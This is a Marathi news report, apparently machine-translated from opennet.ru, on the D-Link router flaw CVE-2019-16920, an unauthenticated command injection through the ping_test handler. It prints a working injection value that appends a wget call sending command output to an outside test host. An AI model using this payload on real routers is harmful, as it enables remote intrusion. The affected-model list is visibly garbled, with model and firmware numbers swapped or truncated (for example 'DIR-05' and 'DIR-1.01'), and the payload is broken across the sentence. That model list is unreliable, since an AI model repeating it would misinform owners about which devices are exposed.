डी-लिंक राउटरमध्ये दूरस्थपणे शोषण करण्यायोग्य असुरक्षा

डी-लिंक वायरलेस राउटरमध्ये ओळखले धोकादायक असुरक्षा (CVE-2019–16920), जे तुम्हाला "पिंग_टेस्ट" हँडलरला विशेष विनंती पाठवून, प्रमाणीकरणाशिवाय प्रवेश करण्यायोग्य, डिव्हाइसच्या बाजूला दूरस्थपणे कोड कार्यान्वित करण्याची परवानगी देते.

विशेष म्हणजे फर्मवेअर डेव्हलपर्सच्या मते, “पिंग_टेस्ट” कॉल केवळ प्रमाणीकरणानंतरच अंमलात आणला जावा, परंतु प्रत्यक्षात वेब इंटरफेसमध्ये लॉग इन न करता कोणत्याही परिस्थितीत कॉल केला जातो. विशेषतः, apply_sec.cgi स्क्रिप्टमध्ये प्रवेश करताना आणि “action=ping_test” पॅरामीटर पास करताना, स्क्रिप्ट प्रमाणीकरण पृष्ठावर पुनर्निर्देशित करते, परंतु त्याच वेळी ping_test शी संबंधित क्रिया करते. कोड कार्यान्वित करण्यासाठी, ping_test मध्येच दुसरी भेद्यता वापरली गेली, जी चाचणीसाठी पाठवलेल्या IP पत्त्याची योग्यता तपासल्याशिवाय पिंग युटिलिटीला कॉल करते. उदाहरणार्थ, wget युटिलिटीला कॉल करण्यासाठी आणि "echo 1234" कमांडचे परिणाम बाह्य होस्टकडे हस्तांतरित करण्यासाठी, फक्त "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://" पॅरामीटर निर्दिष्ट करा. test.test/?$( echo 1234)".

खालील मॉडेल्समध्ये असुरक्षिततेच्या उपस्थितीची अधिकृतपणे पुष्टी केली गेली आहे:

• फर्मवेअर 655b3.02 किंवा जुन्या सह DIR-05;
• फर्मवेअर 866b1.03 किंवा जुन्यासह DIR-04L;
• फर्मवेअर 1565 किंवा जुन्यासह DIR-1.01;
• DIR-652 (समस्याग्रस्त फर्मवेअर आवृत्त्यांबद्दल कोणतीही माहिती प्रदान केलेली नाही)

या मॉडेल्ससाठी समर्थन कालावधी आधीच संपला आहे, म्हणून डी-लिंक नमूद केले, जे त्यांच्यासाठी असुरक्षा दूर करण्यासाठी अद्यतने जारी करणार नाहीत, ते वापरण्याची शिफारस करत नाहीत आणि त्यांना नवीन उपकरणांसह बदलण्याचा सल्ला देतात. सुरक्षा उपाय म्हणून, तुम्ही वेब इंटरफेसचा प्रवेश केवळ विश्वसनीय IP पत्त्यांपर्यंत मर्यादित करू शकता.

अगतिकताही होती हे नंतर कळले प्रभावित करते मॉडेल DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 आणि DIR-825, अपडेट्स रिलीझ करण्याच्या योजना ज्यासाठी अद्याप ज्ञात नाही.

स्त्रोत: opennet.ru